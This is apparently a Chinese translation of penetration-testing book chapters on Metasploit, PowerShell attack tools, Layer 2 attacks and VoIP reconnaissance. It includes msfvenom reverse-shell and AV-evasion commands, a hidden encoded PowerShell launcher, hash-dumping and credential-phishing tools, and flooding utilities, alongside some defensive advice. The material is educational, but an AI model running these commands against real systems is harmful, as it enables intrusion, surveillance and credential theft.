有效载荷是利用模块。有两种有效载荷类别:分段
。内联有效载荷(或单个有效载荷)是全包容和独立的。分段有效载荷包含多个有效载荷的部分,称为分段器。换句话说,完整的有效载荷由分段器组成:
Metasploit 装载了各种类型的有效载荷:
-
绑定 shell:这些只是等待黑客连接或发送指令。如果受害者直接连接到机器,它们是一个不错的选择:
-
反向 shell
-
监听器
-
阶段
-
Meterpreter:它们是专门的命令环境。它们完全在被利用进程使用的内存中工作。您可以使用许多 Meterpreter 命令进行后期利用,例如:
-
sysinfo
-
getsystem
-
getuid
-
reg
-
background
-
ps
-
kill
作为渗透测试人员,Meterpreter 将为您提供许多其他方便的命令,例如:
-
ifconfig
-
route
-
portfwd
-
webcam_list
-
webcam_snap
-
record_mic
-
screenshot
-
idletime
-
uictl
-
偏执 Meterpreter 有效载荷:这些使用签名的 SSL/TLS 证书。
-
无分段 Meterpreter 有效载荷:这些包含启动会话所需的所有内容。
辅助
辅助执行各种任务,包括扫描、DNS 查询等:
-
auxillary/scanner/portscan/tcp
:连接扫描 -
auxiliary/scanner/portscan/syn
:半开放式 SYN 隐秘扫描 -
auxiliary/scanner/discovery/udp_sweep
:UDP 扫描
编码器
编码器用于规避检测,因为直接使用 Metasploit 生成有效载荷并不明智,因为大多数反恶意软件程序都会检测到它。因此,可以使用编码器来对有效载荷进行编码,因为有许多可用的编码器:
NOPs
NOP 是汇编代码中 No Operation 的缩写。它确保任何未使用的空间对处理器执行仍然有效,没有任何影响。在 Metasploit 中,它们用于保持有效载荷大小的一致性。
Posts
Posts 用于利用后(成功利用系统后)。您可以在/usr/share/metasploit-framework/modules/post
中找到利用后模块,或者只需在 Metasploit 控制台中输入show post
:
msf> show post
要了解有关某个 post 的更多信息,请使用info
命令。例如,如果您想了解有关golden_ticket
post 模块的更多信息,只需输入info post/windows/escalate/golden_ticket
:
这个神奇的工具还可以使用 loadpath
命令加载自己的模块:
启动 Metasploit
要启动 Metasploit,您需要打开 shell 并输入msfconsole
。以下截图代表 Metasploit 的控制台模式(msfconsole
)。正如讨论的那样,Metasploit 还有其他接口,如msfcli
(类似于msfconsole
,但不是交互式的),msfgui
(图形版本)和armitage
(强大的 GUI 界面)。
以下截图是msfcli
的:
Metasploit 命令包括:
-
help
:提供有关如何使用功能的信息 -
show payloads
:列出可用的有效载荷 -
show exploits
:列出可用的利用 -
show options
:列出所需的选项 -
msfupdate
:更新 Metasploit -
use
:使用模块 -
search
:搜索功能 -
exploit
:启动利用
在深入了解 Metasploit 强大的命令之前,让我们先检查 Metasploit 框架的组件:
-
msfpayload
:在利用后要在目标机器上运行的脚本。 -
msfencode
:用于避免检测有效载荷的神奇实用程序。 -
msfvenom
:这类似于前两个实用程序的组合。这是 Metasploit 中的一个新功能:
您可以通过输入以下内容来检查可用的有效载荷格式:
# msfvenom --help-formats
例如,如果要生成 Windows 有效载荷,请输入以下内容:
# msfvenom -p windows/shell/reverse_tcp LHOST=[YourIPaddress]
LPORT=8080 - f exe > [A_Specific_PATH]/ payload.exe
使用 Veil-Framework 绕过防病毒软件
作为渗透测试人员,永远记住您正在模拟真实世界的攻击,在现实世界中,黑客正在尝试使用许多技术绕过防病毒保护。Veil-Framework 是一个避免有效载荷检测的绝妙工具。要安装 Veil 3.0,您需要从其官方 GitHub 来源github.com/Veil-Framework/Veil
下载它:
# git clone https://github.com/Veil-Framework/Veil
现在您只需要从辅助主菜单中选择一个任务:
要生成有效载荷,请选择list
,然后输入use 1
:
要列出所有可用的有效载荷,请像往常一样使用list
:
使用use
命令选择您的有效载荷:
输入generate
来创建有效载荷:
完成选项后,您将生成一个无法检测的有效载荷,就是这么简单:
您还可以使用 Metasploit 进行 Nmap 扫描,将结果导出并稍后从数据库导入(Metasploit 使用 PostgreSQL 数据库):
Msf> nmap [target] -oX [output]
Metasploit 是一个令人难以置信的工具。因此,它为渗透测试人员提供了大量的功能;其中之一是能够将结果导出到诸如 PostgreSQL 之类的数据库。如果您已经安装了 PostgreSQL,可以使用 Metasploit 的db_connect
实用程序验证 Metasploit 与数据库之间的连接:
msf> db_connect postgres:myPassword@127.0.0.1/pentester msf> db_status
Metasploit 通过添加searchsploit
实用程序来简化搜索大量利用。您可以添加最多三个搜索词。
例如,# searchsploit local
:
编写自己的 Metasploit 模块
如前所述,白帽黑客应该知道如何编写自己的工具和脚本。因此,让我们看看如何创建一个简单的 Metasploit 模块。在这个演示中,我们将使用 Ruby 作为编程语言,并构建一个 TCP 扫描器。
首先,创建一个 Ruby 文件:
require 'msf/core'
class Metasploit3 <Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def intialize
super(
'Name' => 'TCP scanner',
'Version' => '$Revisiov: 1 $',
'Description' => 'This is a Demo for Packt Readers',
'License' => MSF_LICENSSE
)
register_options([
opt::RPORT(3000)
], self.class)
end
def run_host(ip)
connect()
greeting = "Hello Cybrary"
sock.puts(greeting)
data = sock.recv(1024)
print_status("Received: #{data} from #{ip}")
end
end
要测试响应,请创建一个名为server.txt
的文本文件,并设置 netcat 监听器。现在,将其保存在usr/share/metasploit-framework/modules/auxiliary/scanner
:
nc -lnvp 3000 < server.txt
打开 Metasploit,键入use scanner/TCPScanner
:
您可以通过包括include Msf::Auxiliary::Report
来报告结果。
例如,您可以使用这种方法:
results ( :host => rhost, :data => data )
Metasploit 持久性脚本
持久性是每次成功的黑客攻击中的主要需求。Metasploit Framework 带有两个主要的持久性脚本:
- S4U 持久性(计划持久性):要使用它,请键入
use exploit/windows/local/s4u_persistence
- 卷影副本服务持久性(VSS 持久性):要使用它,键入
use exploit/windows/local/vss_persistence
这里有一些持久性的额外选项:
-
Metasploit 服务(或Metsvc)
-
VNC 注入
您可以使用 Windows 二进制文件。要定位这些二进制文件,转到/usr/share/windows-binaries path
:
武器化的 PowerShell 与 Metasploit
在之前的章节中,我们见证了 PowerShell 及其潜力的力量。这只是开始;现在,我们准备将其力量发挥到下一个级别。结合 Metasploit 和 PowerShell 的灵活性是执行更多定制攻击和安全测试的绝佳机会。
交互式 PowerShell
PowerShell 攻击已经集成到 Metasploit 中。您可以使用search
命令进行检查:
msf> search powershell
在第四章,活动目录利用中,您学习了如何使用 PowerShell 执行一些任务。现在是时候学习如何使用 PowerShell 与 Metasploit。例如,您可以使用msfvenom
实用程序将 PowerShell 脚本转换为可执行文件进行演示:
>msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.39 LPORT=4444 -f exe > evilPS.exe >msfvenom -p windows/exec CMD=“powershell -ep bypass -W Hidden -enc [Powershell script Here]” -f exe -e x86/shikata_ga_nai -o /root/home/ghost/Desktop/power.exe
PowerSploit
PowerSploit 是信息安全专业人员,特别是渗透测试人员使用的一组令人惊叹的 PowerShell 脚本。要下载 PowerSploit,您需要从其官方 GitHub 存储库github.com/PowerShellMafia/PowerSploit
获取:
# git clone https://github.com/PowerShellMafia/PowerSploit
克隆项目后,使用ls
命令列出文件:
从以下截图中,您可以注意到 PowerSploit 包含许多惊人的脚本,用于执行许多任务,例如:
-
绕过杀毒软件
-
外泄
-
持久性
-
PowerSploit
-
PowerUp
-
PowerView
Nishang - 用于渗透测试的 PowerShell
Nishang 是一个用于执行许多渗透测试阶段任务的工具集。您可以从github.com/samratashok/nishang
获取它:
# git clone https://github.com/samratashok/nishang
从下载的项目列表中可以看出,Nishang 加载了许多不同的脚本和实用程序,用于在渗透测试任务期间执行许多所需的任务,例如:
-
权限提升
-
扫描
-
枢纽
您可以使用ls
命令列出 Nishang 项目的所有可用脚本:
让我们在 Windows 机器上探索一些 Nishang 脚本的强大功能:
您可以使用Import-Module
PowerShell 命令导入所有模块:
哎呀,出了点问题!别担心,为了使用Import-Module
,您需要以管理员身份打开 PowerShell,并输入Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
:
然后你可以导入模块:
现在,如果您想要使用Get-Information
模块,只需输入Get-Information
:
如果您想要揭示 WLAN 密钥,请输入Get-WLAN-Keys
:
您甚至可以在后渗透任务中从目标机器中转储密码哈希。借助Get-PassHashes
模块,您可以转储密码哈希。这是我本地机器的输出:
但是,如果你想在获得 shell 后弹出命令,请使用:
Powershell.exe –exec bypass –Command “& {Import-Module '[PATH_HERE]/Get-PassHashes.ps1' , Get-PassHashes}”
您甚至可以使用Invoke-CredentialPhish
进行钓鱼攻击,就像之前的演示一样。您可以在受害者的机器上运行这次攻击:
防范 PowerShell 攻击
在前几节中,我们介绍了使用 Metasploit 和 PowerShell 攻击机器的各种技术。现在是时候学习如何防御和减轻 PowerShell 攻击了。为了防范 PowerShell 攻击,您需要:
- 实施最新的 PowerShell 版本(在撰写本书时为版本 5)。要检查,请输入
Get-Host
:
-
监视 PowerShell 日志。
-
确保最低特权策略和组策略设置。您可以使用本地组策略编辑器进行编辑。如果您使用的是 Windows 10 企业版,您还可以使用
AppLocker
:
- 使用受限语言模式:
PS C:\Windows\system32> [environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')
- 要检查受限语言模式,请输入:
$ExecutionContext.SessionState.LanguageMode
- 这样,恶意脚本就无法运行:
总结
在本章中,您学会了如何同时使用 Metasploit 和 PowerShell 来渗透基础架构,并将攻击提升到下一个级别,从侦察开始,到保持访问和持久性。我们研究了架构和操作的两种武器。下一章将是一个新的体验,您将学习如何利用企业 VLANS,并从理论转向实际经验。
第八章:VLAN 利用
交换在任何现代网络中都是至关重要的组件。本章将带您进行学习体验,我们将在一方面发现如何对第 2 层进行攻击,另一方面将学习如何防御这些攻击。了解如何保护第 2 层是必要的,因为网络安全的强弱取决于最薄弱的一层。在我们的情况下,最薄弱的一层是第 2 层。损害它可能导致对堆栈中的其他层进行损害。在本章中,我们将涵盖以下主题:
-
交换基础知识
-
MAC 攻击
-
动态主机配置协议(DHCP)攻击
-
虚拟局域网(VLAN)攻击
网络中的交换
交换是数据链路层(OSI 模型中的第 2 层)设备。它们的主要目标是通过接收交换数据包并将其转发到目标设备来连接网络设备。交换是连接设备的有效解决方案,尽管如果我们想要连接大量的终端设备(计算机,电话等)和节点,它并不实用。节点是从源到目的地传递信息而不修改信息或数据的实体;一组节点称为通信网络,如下图所示:
在交换中,有三种不同的技术:
-
电路交换:这是发送方和接收方之间的固定通道,专用通道称为电路。一旦建立连接,即使电路没有完全使用,其他设备也不能使用通道,直到确定连接。这种类型的交换广泛用于电话网络。在电路交换期间,我们有以下三个步骤:通道建立,数据传输和连接确定。电路交换有两种类型:
-
频分复用(FDM):复用是将许多信号合并成一个信号的过程。FDM 是一种操作,其中信道在不重叠的频率下进行划分。以下图示了 FDM 过程:
-
- 时分复用(TDM):这是另一种复用操作,但它使用时间段而不是频率。这种操作比 FDM 更灵活和高效,如下图所示:
-
分组交换:在这种交换技术中,数据以特定格式称为分组进行交换和转发。数据包由以下元素组成,如下图所示:
-
数据:传输的信息
-
头部:包含目的地地址
-
尾部(可选):一般来说,这包含一些信息,以指示数据包的结束;有时,它用于错误检查:
在传输中,来自不同终端系统的数据包将进行复用;数据包也称为数据报。
- 消息交换:有时也称为存储-转发交换。在这种技术中,所有终端系统都接收消息,存储它,并将其转发到下一个设备。
局域网交换
在局域网中使用的接入方法是基于 IEEE 802.3 标准的以太网连接。我们根据连接带宽(10 Mbps(以太网),100 Mbps(快速以太网)或 1,000 Mbps(千兆以太网))有不同类型。以太网为您提供了从不同的以太网传输物理设备中进行选择,例如双绞线和光纤。
用于阻止设备同时发送信息的算法称为载波监听多路访问/冲突检测(CSMA/CD)。如下图所示,两个主机不能同时发送信息:
在以太网连接中,数据的流量由媒体访问控制(MAC)地址确定。这个地址是一个独特的 48 位序列号。它由组织唯一标识符(OUI)和供应商分配的地址组成,如下所示。它以十六进制格式表示:
在第 2 层的传输可以分为三种主要的数据传输方法:
-
单播:这是从特定网络设备到另一个特定设备的传输模式。换句话说,这是一对一的传输模式。
-
多播:在多播操作中,单个设备向多个网络设备发送数据。这是一种一对多的传输模式,其中设备向特定组发送数据。
-
广播:这种传输模式类似于多播,但在广播操作中,网络设备向所有其他设备发送数据。在广播中,设备使用
FF-FF-FF-FF-FF-FF
MAC 地址(最高可能的 MAC 地址)。
以下图示说明了三种传输模式之间的区别:
在 LAN 交换中,我们有以下三种技术:
- 存储转发交换:在存储转发交换中,交换机将所有帧存储在内存中,并在计算循环冗余检查(CRC)后检查错误。如果根据帧中的位数存在错误,帧将被拒绝,否则将被转发,如下所示:
- 切换式交换:在切换式交换中,交换机仅存储目标 MAC 地址并将其与其 MAC 表进行比较。这种技术比前一种技术更快,因为它只处理前 6 个字节:
- 碎片免费交换:这种交换技术结合了前两种交换模式。它是一种混合交换技术。它类似于切换式交换,但是不是检查前 6 个字节,而是检查前 64 个字节,因为为了检测冲突,我们需要检查前 64 个字节。
MAC 攻击
MAC 地址是具有两个分配部分的唯一标识符——OUI 由 IEEE 分配,后 24 位由制造商分配。这些地址存储在一个称为内容可寻址存储器(CAM)的表中。这个表有固定的大小。CAM 在操作后存储有关 MAC 地址的信息,如下图所示:
在这种情况下,最初 CAM 包含两个地址及其端口信息。要从主机 A发送流量到主机 B,CAM 表中应包含有关主机 B的信息,但在此演示中并非如此。因此主机 A向所有主机发送 ARP 请求。主机发送有关其 MAC 地址和端口的信息。现在主机 A有关主机 B的信息并将其存储在 CAM 表中,如图所示:
最后,CAM 表包含有关主机的所有必需信息,包括目标主机。因此,从主机 A到主机 B的流量应正常运行:
攻击者可以利用 CAM 表执行恶意活动。可以进行一种称为 CAM 溢出的攻击。换句话说,攻击者通过利用 CAM 表大小的最大限制来溢出 CAM 表。有许多可用的工具,其中之一是macof。假设 CAM 表已满载有所有信息。攻击者可以使用 macof 向交换机发送随机源 MAC 地址(每分钟最多 155,000 个 MAC 条目)来淹没交换机:
或者简单地使用macof -i eth1 2> /dev/null
。为了防御 MAC 淹没,您需要使用端口安全限制接口上的 MAC 地址数量,如下图所示:
媒体访问控制安全
为了保护您的网络免受数据链路层攻击并提供总以太网链路安全,您可以使用媒体访问控制安全(MACsec),它基于 802.1 AE 标准。MACsec 就像网络层的 IPsec 一样,它使用逐跳加密(GCM-AES-128)和网络节点之间的MACsec 密钥协商(MKA)来提供完整性和保密性保护。因此,它加密了所有以太网数据包,但不会触及源和目的 MAC 地址。交换机到交换机模式下的 MACsec 与交换机到主机模式不同。第一个称为下行 MACsec,其中主机经过 802.1x 认证过程。第二个称为上行 MACsec。它可以在交换机上手动配置,也可以使用远程 RADIUS 服务器动态配置。以下图表显示了通信是加密的:
DHCP 攻击
DHCP 是基于 RFC 2131 的网络层协议,它使得可以动态分配 IP 地址给主机。为了为特定主机分配 IP 地址,需要以下四个必需的步骤:
-
DHCP 发现
-
DHCP 提供
-
DHCP 请求
-
DHCP 确认
DHCP 饥饿
在本章中,我们讨论了第 2 层攻击;我打赌你想知道为什么我们谈论了一个网络层协议(在我们的例子中是 DHCP)。答案很简单。攻击者可以执行我们所谓的 DHCP 饥饿攻击。攻击者使用伪造的 MAC 地址广播 DHCP 请求;这种攻击利用了 DHCP 服务器的地址空间。这种攻击可以使用简单的工具来完成,比如gobbler。
Rogue DHCP 服务器
Rogue DHCP 服务器(可以是家用路由器或调制解调器)是攻击者在网络中实施的服务器,用于执行中间人攻击或嗅探网络流量。这种恶意服务器的实施让攻击者收集大量信息,包括 DNS 服务器信息和默认网关。为了防御 DHCP 攻击,您需要使用 DHCP 监听,这是一个用于识别响应 DHCP 请求端口的交换机功能。
ARP 攻击
地址解析协议(ARP)是根据 RFC 826 标准将 IP 地址与其关联的 MAC 地址进行映射的协议。ARP 在许多操作系统中实现,包括 Linux。
您可以使用arp
命令进行检查:
攻击者可以利用其缓存执行中间人攻击,使用诸如 Ettercap 之类的工具:
如果您已经使用 Kali Linux,还可以使用dsniff
实用程序:
攻击者可以利用 ARP 协议的 IP/MAC 匹配能力将其 MAC 地址与合法 IP 地址进行映射。如果您使用 Kali Linux,可以直接从主菜单中使用它。
为了防御 ARP 攻击,最好使用动态 ARP 检查,检查数据包是否与绑定表条目匹配,否则数据包将被丢弃;但首先需要配置 DHCP 监听。
这是正常的 ARP 操作:
这是 ARP 欺骗攻击的示例:
VLAN 攻击
VLAN 是在同一广播域中对网络设备进行逻辑分组。这种逻辑分离在许多情况下非常有益。例如,如果我们有不同的地理位置,使用 VLAN 可能是将网络设备分组的好方法,即使它们在不同的地方,但它们就像一个广播域一样。这张图解说明了经典的交换架构;每个特定的企业部门都有一个特定的交换机:
以下图示了实施 VLAN 的有益结果。我们可以为许多不同的部门配置交换机:
交换操作发生在第 2 层,但当我们使用 VLAN 时,我们需要一个路由器(第 3 层)通过名为VLAN 间路由的操作使 VLAN 相互通信。VLAN 干线连接是需要的,通过为每个帧打上 VLAN ID,这是一个在 0 到 4095 之间的数字,来识别 VLAN。在这里,使用了干线协商,得益于动态干线协议(DTP):
当交换机和路由器支持 VLAN 时,可以实现 VLAN。这意味着它们支持干线协议,如交换机间链路(ISL),这是 Cisco 专有的,以及 IEEE 802.1q。如果交换机支持干线,它被称为受管交换机。
VLAN 的类型
有许多种类型的 VLAN。其中两种如下:
-
本地 VLAN 或未标记的 VLAN:如果主机向交换机端口发送流量而没有指定 VLAN ID,则流量将被分配给未标记的 VLAN
-
标记的 VLAN:当数据包被标记为 VLAN ID 时使用
VLAN 配置
要在交换机上配置 VLAN,您需要遵循这个配置:
- 第一个 VLAN:
switch#configure terminal
switch(config)#vlan 10
switch(config-vlan)#exit
switch(config)#
- 第二个 VLAN:
switch#configure terminal
switch(config)#vlan 20
switch(config-vlan)#exit
switch(config)#
- 分配端口:
switch#configure terminal
switch(config)#interface FastEthernet 0/1
switch(config-if)#switchport mode access
switch(config-if)#switchport access vlan 10
switch#configure terminal
switch(config)#interface range FastEthernet 0/2 - 8
switch(config-if-range)#switchport mode access
switch(config-if-range)#switchport access vlan 10
VLAN 跳跃攻击
VLAN 跳跃攻击基于 DTP。DTP 的主要作用是自动配置 802.1q 或 ISL 干线:
交换机欺骗
在这种攻击中,攻击者通过模拟 ISL 或 802.1q 并与 DTP 进行信令来模拟交换机。因此,它看起来像一个带干线端口的交换机,因此它将可以访问所有的 VLAN。
VLAN 双标记
这种攻击有时被称为双 802.1q 封装攻击,它是通过发送 802.1q 双封装帧来完成的。一般来说,交换机一次只执行一次解封操作。因此,它们将剥离第一个并发送第二个。这种攻击只有在攻击和目标在同一个 VLAN 上时才可能发生,即使干线端口关闭:
私有 VLAN 攻击
我们在前面的部分中看到,VLAN 将 LAN 划分为广播域。私有 VLAN(PVLAN)也是 VLAN 的子域,有隔离的子域,如子 VLAN。
VLAN 需要一个第 3 层设备,如路由器,来相互通信,PVLAN 也需要路由器来通信,但主机仍然在同一个 IP 子网中。我们有三个 PVLAN 端口:
-
混杂(P):连接到路由器
-
隔离(I):连接到主机
-
社区(C):连接到其他社区端口
攻击者可以通过发送带有他们的 IP 和 MAC 地址以及目标 IP 地址的帧来攻击 PVLANs:
生成树协议攻击
生成树协议(STP)是由 Radia Perlman 于 1985 年开发的,用于解决以太网环路的问题,但在深入研究 STP 之前,让我们回到这个问题的根本原因。如果广播风暴发生,您将失去网络可用性。当以太网环路发生时,就会发生这种情况。举个简单的例子,在下图中,我们有三个连接的交换机。如果一个交换机向其他两个交换机发送广播,它们将通过所有端口接收并转发它,因为它们找不到地址。此外,它们将进入一个重复的循环,称为广播风暴:
这样,STP 似乎解决了这个网络问题,通过阻塞冗余路径,得益于基于 IEEE 802.1d 标准的生成树算法(STA),它确保两个站点之间只有一条路径可用:
但是在使用 STP 时要阻塞哪些端口呢?在 STP 中,有五种类型的端口:
-
学习端口:这个端口学习 MAC 地址但不转发帧
-
监听端口:这个端口不学习 MAC 地址或转发它们
-
丢弃端口:这个端口不转发数据
-
转发端口:这个端口学习 MAC 地址并转发数据
-
禁用端口:这个端口不需要解释
以下工作流描述了 STP 中端口的各个阶段:
STP 执行以下三个步骤以实现其目标:
-
根桥选举:交换机并不是非常智能的设备。因此,默认情况下,网络中的每个交换机都声称自己是根桥,即控制拓扑的主要交换机。为了选择根桥,所有交换机发送它们的桥 ID(BID),这是桥优先级和 MAC 地址之间的 8 个字节的组合;默认情况下,它是 32,768。具有最小 BID 的交换机被选为根桥。
-
选择根端口:这个选择是基于一个简单的选择标准,即最低成本的桥接协议数据单元(BPDU)。因此,接收到最低 BPDU 的端口将成为根端口。
-
选择指定端口:指定端口是其他交换机端口(已阻塞)。
攻击 STP
攻击者可以利用 STP 来攻击网络。其中一种黑客技术是在干线端口实施一个虚假交换机,并通过配置这个虚假交换机并赋予它最低的 ID 来操纵生成树优先级,从而成为根桥。因此,所有流量将通过这个交换机传输,然后它将嗅探所有流量或重定向流量。
为了防御 STP 攻击,您需要在所有未指定为根端口的交换机端口上启用根守卫:
Switch1(config)# interface gigabitethernet 0/1
Switch1(config-if)# spanning-tree guard root
总结
本章是关于如何利用第 2 层漏洞来妥协网络的有用解释。下一章将是一个深入的学习体验,解释如何利用 VoIP 系统。
第九章:VoIP 利用
IP 电话(VoIP)正在将商业通信推向新的效率和生产力水平。基于 VoIP 的系统每天都面临安全风险。尽管许多公司都在关注 VoIP 的服务质量,但他们忽视了 VoIP 基础设施的安全方面,使其容易受到危险攻击。本章将使用逐步指导解决大多数 VoIP 安全问题。
在本章中,我们将涵盖以下主题:
-
VoIP 协议
-
VoIP 攻击
-
VoLTE 攻击
-
如何防御 VoIP 攻击
VoIP 基础知识
为了学习如何对 VoIP 进行渗透测试,我们需要清楚地了解 VoIP 基础设施的实际运作方式。我们将剖析 VoIP 协议,以便后来学习如何攻击 VoIP 系统。以下各小节是一些使语音和视频通信成为可能的知名标准。让我们逐一探讨它们。
H.323
H.323 是由国际电信联盟标准化部门(ITU-T)引入的 IP 标准。正如你所看到的,这个标准化机构使用字母来定义基于许多标准的范围,列在这里:
-
H:用于音频视觉和多媒体系统
-
G:用于传输系统和媒体
-
Q:用于交换和信令
-
T:用于远程服务的终端
H.323 是最古老的基于数据包的通信系统协议之一。因此,这个协议是稳定的。当前版本是 v6。它被许多供应商在许多产品中广泛使用,如思科呼叫管理器、NetMeeting 和 RadVision。
H.323 使用许多类型的设备:
-
**终端:**这些是用户设备,如 IP 电话和视频会议系统。
-
多点控制单元:由两个逻辑组件组成——多点控制器(MC)和多点处理器(MP)。它们的作用是管理多点会议。
-
**网关控制器:**这是可选的。网关控制器提供一些额外的服务,如用户认证和地址解析。
H.323 堆栈基于以下组件:
-
IPv4 网络层
-
用户数据报协议层
-
实时协议
-
信令协议
-
呼叫前设置
-
视频编解码器
-
音频编解码器
-
数据
以下图表说明了 H.323 堆栈的不同组件:
Skinny 呼叫控制协议
Skinny 呼叫控制协议(SCCP),由 Selsius 开发,是思科专有的协议。它被称为 skinny 是因为它是一种轻量级协议,用于 IP 电话和呼叫管理器的通信。这种通信使用以下不同类型的消息:
-
0001:
RegisterMessage
-
0002:
IPportMessage
-
0081:
RegisterAckMessage
这些消息遵循以下格式:
以下截图是从使用 Wireshark 的 Skinny 捕获中获取的,从 Wireshark 网站下载:
RTP/RTCP
实时协议(RTP)是一种传输协议,特别是基于 RFC 3550 的UDP。它用于实时多媒体应用程序和端到端实时数据流传输。为了实现这一点,例如,视频经历了许多步骤:
-
编码
-
封包
-
传输控制
-
重组
-
解码
尽管 RTP 被指定用于传输媒体流,但还有另一个与 RTP 一起工作的协议,称为实时控制协议(RTCP)。这个协议与 RTP 并行工作,监视传输并确保服务质量(QoS)。RTCP 的目的是检查在过程中是否有数据包丢失。
安全实时传输协议
**安全实时传输协议(SRTP)**是基于 RFC3711 的应用协议。SRTP 提供了增强的安全功能;因此,它通过使用密钥流进行异或运算来加密 RTP 从而保护 RTP。所使用的算法是 AES,主密钥称为 SRTP MKI。下图说明了普通 RTP 包和安全 RTP 包之间的区别。Auth 字段包含消息认证码。这些技术提供了反重放机制来保证语音流量的完整性:
H.248 和媒体网关控制协议
媒体网关控制协议(MGCP)是由思科开发的协议。MGCP 的目标是处理信号和会话管理。它是媒体网关控制器和媒体网关之间的通信机制。因此,控制是集中的。换句话说,控制器与许多媒体网关进行通信。控制器还监督终端并在其区域注册新终端。H.248 也像 H.323 一样,是一个基于 ITU 的协议。它是 MGCP 的增强版本。正如你在图表中看到的,MGCP 是一种主从协议:
会话初始协议
会话初始协议(SIP)是基于 RFC 3261 协议的会话管理协议。它可以在 UDP 和 TCP 上运行,也支持 TLS。它比 H323 更具可扩展性。SIP 在以下五个步骤中处理呼叫:
-
用户位置
-
用户可用性
-
用户能力
-
会话建立
-
会话管理
要开始 SIP 操作,用户需要进行注册:
以下图表描述了建立两个用户代理客户端之间连接所需的步骤:
SIP 请求类似于 HTTP 请求。它们的格式如下:
METHOD URI SIP/X.X
头部: XXX
这里,方法是请求类型,我们有以下六种方法:
-
注册
-
邀请
-
ACK
-
取消
-
选项
-
再见
SIP 回复请求需要以下格式:
SIP/X.X <状态代码> 描述
头部: XXX
-
URI: 文件标识
-
SIP/X.X: SIP 版本
-
头部: 这包含了有关接收者的信息(To, From, Call-ID 是一些 SIP 头部字段)
以下是可能的状态代码:
-
1xx
: 信息 -
2xx
: 成功 -
3xx
: 重定向 -
4xx
: 失败 -
5xx
: 服务器错误 -
6xx
: 全局失败
VoIP 开发
现在,在对 VoIP 中发挥重要作用的主要协议有了清晰的理解之后,是时候学习如何渗透 VoIP 基础设施了。与任何其他渗透测试一样,要利用 VoIP 基础设施,我们需要按照一系列步骤进行战略性操作。
在攻击任何基础设施之前,我们已经了解到我们需要在利用之前进行足迹、扫描和枚举,这正是我们将要对 VoIP 进行的操作。为了进行 VoIP 信息收集,我们需要尽可能收集有关目标的有用信息。首先,你可以在网上进行简单的搜索。例如,招聘公告可能是一个有价值的信息来源。例如,以下工作描述让攻击者对 VoIP 有了一个大致的了解:
之后,攻击者可以搜索可能存在的漏洞来尝试利用特定系统。搜索电话号码也可能是一个明智的举措,以了解目标的语音信箱,因为每个供应商都有一个默认的语音信箱。如果管理员没有更改它,收听语音信箱可以让你了解目标。如果你想查看一些默认语音信箱,请查看 www.hackingvoip.com/voicemail.html
。这是一个学习 VoIP 黑客攻击的绝佳资源。
谷歌黑客是一种搜索信息和在线门户的神奇技术。我们在前几章中讨论了使用 Dorks 进行谷歌黑客。以下演示是这个谷歌 Dork 的输出——在 URL 中:网络配置 Cisco:
你可以使用 Shodan.io
搜索引擎找到连接的 VoIP 设备:
VoIP 设备通常连接到互联网。因此,它们可以被外部人员访问。它们可以通过其 Web 界面暴露出来;这就是为什么有时候留下安装文件暴露出来可能是危险的,因为使用搜索引擎可能会导致对门户进行索引。以下截图是从在线 Asterisk 管理门户获取的:
这个截图是从一个暴露的网站的配置页面获取的,使用一个简单的搜索引擎查询:
从攻击者的角度收集有关目标的有价值信息后,我们通常应该执行扫描。在这个阶段进行扫描是必要的,使用前几章讨论的扫描技术。进行主机发现和 Nmap 扫描是扫描基础设施以搜索 VoIP 设备的好方法。
扫描可以带领我们发现 VoIP 服务。例如,我们在 Nmap 中看到了-sV
选项来检查服务。在 VoIP 中,如果端口2000
是开放的,那么它是 Cisco CallManager,因为 SCCP 协议使用该端口作为默认端口,或者如果有一个 UDP5060
端口,那么它是 SIP。
-O
Nmap 选项对于识别正在运行的操作系统可能是有用的,因为有很多 VoIP 设备正在运行特定的操作系统,比如 Cisco 嵌入式系统。
现在你知道该怎么做了。在足迹和扫描之后,我们需要枚举目标。正如你所看到的,当利用基础设施时,我们通常遵循相同的方法论步骤。
横幅抓取是枚举中众所周知的技术,枚举 VoIP 基础设施的第一步是开始横幅抓取。为了做到这一点,使用 Netcat 实用程序将有助于您轻松地抓取横幅,或者您可以简单地使用名为横幅的 Nmap 脚本:
nmap -sV --script=banner <target>
对于特定的供应商,有很多枚举工具可以使用;EnumIAX 就是其中之一。它是 Kali Linux 中的一个内置枚举工具,用于暴力破解 Inter-Asterisk Exchange 协议的用户名:
自动企业枚举器(ACE)是 Kali Linux 中的另一个内置枚举工具:
svmap
是 Kali Linux 中的一个内置工具,用于识别 SIP 设备。输入 svmap -h
,你将得到这个神奇工具的所有可用选项:
VoIP 攻击
到目前为止,你已经学会了执行 VoIP 足迹、扫描和枚举所需的技能。让我们来发现主要的 VoIP 攻击。VoIP 面临来自不同攻击向量的多重威胁。
拒绝服务
拒绝服务(DoS)是对网络可用性的威胁。这种攻击在前几章中已经讨论过。对于 VoIP 来说,DoS 也可能是危险的,因为确保通话的可用性对现代组织至关重要。现在不仅是可用性,通话的清晰度也是当今的必需品。为了监控 VoIP 的 QoS,你可以使用许多工具;其中之一是 CiscoWorks QoS Policy Manager 4.1:
为了衡量 VoIP 的质量,有一些评分系统,比如平均意见分(MOS)或基于几个参数(抖动、延迟和丢包)的 R 值。平均意见分的分数范围从 1 到 5(差到非常清晰),R 值的分数范围从 1 到 100(差到非常清晰)。以下截图是从 Wireshark 网站下载的 RTP 数据包分析中获取的:
你还可以分析 RTP 抖动图:
VoIP 基础设施可以受到经典的 DoS 攻击。我们之前看到了其中一些:
-
Smurf 洪水攻击
-
TCP SYN 洪水攻击
-
UDP 洪水攻击
DoS 攻击工具之一是iaxflood
。它在 Kali Linux 中可用于执行 DoS 攻击。IAX代表Inter-Asterisk Exchange。
打开 Kali 终端,输入iaxflood <Source IP> <Destination IP> <Number of packets>
:
VoIP 基础设施不仅可以受到先前的攻击,攻击者还可以使用模糊工具执行数据包分片和格式错误数据包来攻击基础设施。
窃听
窃听是最严重的 VoIP 攻击之一。它让攻击者接管您的隐私,包括您的通话。有许多窃听技术;例如,攻击者可以嗅探 TFTP 配置文件的网络,而这些文件包含密码。以下截图描述了对 TFTP 捕获的分析:
